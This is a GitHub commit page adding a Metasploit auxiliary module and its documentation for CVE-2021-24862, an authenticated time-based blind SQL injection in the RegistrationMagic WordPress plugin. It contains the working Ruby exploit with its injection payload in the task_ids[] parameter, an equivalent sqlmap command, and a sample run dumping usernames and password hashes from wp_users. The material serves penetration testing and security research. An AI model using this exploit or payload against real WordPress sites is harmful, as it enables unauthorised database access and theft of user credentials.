Skip to content

Commit 7c987a4

Browse files
committed
Land #16130, Wordpress RegistrationMagic sqli
2 parents d9770e1 + dda6c53 commit 7c987a4

File tree

2 files changed

+202
-0
lines changed

2 files changed

+202
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
## Vulnerable Application
2+
3+
RegistrationMagic, a WordPress plugin,
4+
prior to 5.0.1.5 is affected by an authenticated SQL injection via the
5+
`task_ids[]` parameter.
6+
7+
The plugin can be downloaded
8+
[here](https://downloads.wordpress.org/plugin/custom-registration-form-builder-with-submission-manager.5.0.1.5.zip)
9+
10+
This module slightly replicates sqlmap running as:
11+
12+
```
13+
sqlmap -u 'http://<IP>/wp-admin/admin-ajax.php?page=rm_ex_chronos_edit_task&rm_form_id=2' --data="action=rm_chronos_ajax&rm_chronos_ajax_action=duplicate_tasks_batch&task_ids[]=2" -p "task_ids[]" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql --cookie '<cookie>'
14+
```
15+
16+
## Verification Steps
17+
18+
1. Install the plugin, use defaults
19+
2. Start msfconsole
20+
3. Do: `use auxiliary/scanner/http/wp_registrationmagic_sqli`
21+
4. Do: `set rhosts [ip]`
22+
5. Do: `set username [username]`
23+
6. Do: `set password [password]`
24+
7. Do: `run`
25+
8. You should get the users and hashes returned.
26+
27+
## Options
28+
29+
### ACTION: List Users
30+
31+
This action lists `COUNT` users and password hashes.
32+
33+
### COUNT
34+
35+
If action `List Users` is selected (default), this is the number of users to enumerate.
36+
The larger this list, the more time it will take. Defaults to `1`.
37+
38+
### USERNAME
39+
40+
The username to login with. Defaults to ``.
41+
42+
### PASSWORD
43+
44+
The password to login with. Defaults to ``.
45+
46+
## Scenarios
47+
48+
### Registration Magic 5.0.1.5 on Wordpress 5.7.5 on Ubuntu 20.04
49+
50+
```
51+
[*] Processing registrationmagic.rb for ERB directives.
52+
resource (registrationmagic.rb)> use auxiliary/scanner/http/wp_registrationmagic_sqli
53+
resource (registrationmagic.rb)> set rhosts 1.1.1.1
54+
rhosts => 1.1.1.1
55+
resource (registrationmagic.rb)> set verbose true
56+
verbose => true
57+
resource (registrationmagic.rb)> set username admin
58+
username => admin
59+
resource (registrationmagic.rb)> set password admin
60+
password => admin
61+
resource (registrationmagic.rb)> run
62+
[*] Checking /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt
63+
[*] Found version 5.0.1.5 in the plugin
64+
[+] Vulnerable version of RegistrationMagic detected
65+
[*] Using formid of: 74
66+
[*] Enumerating Usernames and Password Hashes
67+
[*] {SQLi} Executing (select group_concat(GPc) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) GPc from wp_users limit 3) PfXJX)
68+
[*] {SQLi} Encoded to (select group_concat(GPc) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xc,0)),ifnull(user_pass,repeat(0x24,0))) as binary) GPc from wp_users limit 3) PfXJX)
69+
[*] {SQLi} Time-based injection: expecting output of length 124
70+
[+] Dumped table contents:
71+
wp_users
72+
========
73+
74+
user_login user_pass
75+
---------- ---------
76+
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
77+
admin2 $P$BNS2BGBTHmjIgV0nZWxAZtRfq1l19p1
78+
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
79+
80+
[*] Scanned 1 of 1 hosts (100% complete)
81+
[*] Auxiliary module execution completed
82+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HTTP::Wordpress
8+
include Msf::Auxiliary::Scanner
9+
include Msf::Exploit::SQLi
10+
11+
require 'metasploit/framework/hashes/identify'
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Wordpress RegistrationMagic task_ids Authenticated SQLi',
18+
'Description' => %q{
19+
RegistrationMagic, a WordPress plugin,
20+
prior to 5.0.1.5 is affected by an authenticated SQL injection via the
21+
task_ids parameter.
22+
},
23+
'Author' => [
24+
'h00die', # msf module
25+
'Hacker5preme (Ron Jost)', # edb
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' => [
29+
['CVE', '2021-24862'],
30+
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24862/README.md'],
31+
['EDB', '50686'],
32+
],
33+
'Actions' => [
34+
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]
35+
],
36+
'DefaultAction' => 'List Users',
37+
'DisclosureDate' => '2022-01-23',
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'SideEffects' => [IOC_IN_LOGS],
41+
'Reliability' => []
42+
}
43+
)
44+
)
45+
register_options [
46+
OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
47+
OptString.new('USERNAME', [true, 'Valid Username for login', '']),
48+
OptString.new('PASSWORD', [true, 'Valid Password for login', ''])
49+
]
50+
end
51+
52+
def run_host(ip)
53+
unless wordpress_and_online?
54+
vprint_error('Server not online or not detected as wordpress')
55+
return
56+
end
57+
58+
checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6')
59+
if checkcode == Msf::Exploit::CheckCode::Safe
60+
vprint_error('RegistrationMagic version not vulnerable')
61+
return
62+
end
63+
print_good('Vulnerable version of RegistrationMagic detected')
64+
65+
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
66+
67+
fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil?
68+
69+
formid = Rex::Text.rand_text_numeric(2)
70+
vprint_status("Using formid of: #{formid}")
71+
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
72+
d = Rex::Text.rand_text_numeric(4)
73+
res = send_request_cgi({
74+
'method' => 'POST',
75+
'cookie' => cookie,
76+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
77+
'vars_get' => {
78+
'page' => 'rm_ex_chronos_edit_task',
79+
'rm_form_id' => '2'
80+
},
81+
'vars_post' => {
82+
'action' => 'rm_chronos_ajax',
83+
'rm_chronos_ajax_action' => 'duplicate_tasks_batch',
84+
'task_ids[]' => "#{formid}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"
85+
}
86+
})
87+
fail_with Failure::Unreachable, 'Connection failed' unless res
88+
end
89+
90+
unless @sqli.test_vulnerable
91+
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
92+
return
93+
end
94+
columns = ['user_login', 'user_pass']
95+
96+
print_status('Enumerating Usernames and Password Hashes')
97+
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
98+
99+
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
100+
data.each do |user|
101+
create_credential({
102+
workspace_id: myworkspace_id,
103+
origin_type: :service,
104+
module_fullname: fullname,
105+
username: user[0],
106+
private_type: :nonreplayable_hash,
107+
jtr_format: identify_hash(user[1]),
108+
private_data: user[1],
109+
service_name: 'Wordpress',
110+
address: ip,
111+
port: datastore['RPORT'],
112+
protocol: 'tcp',
113+
status: Metasploit::Model::Login::Status::UNTRIED
114+
})
115+
table << user
116+
end
117+
print_good('Dumped table contents:')
118+
print_line(table.to_s)
119+
end
120+
end

0 commit comments

Comments
 (0)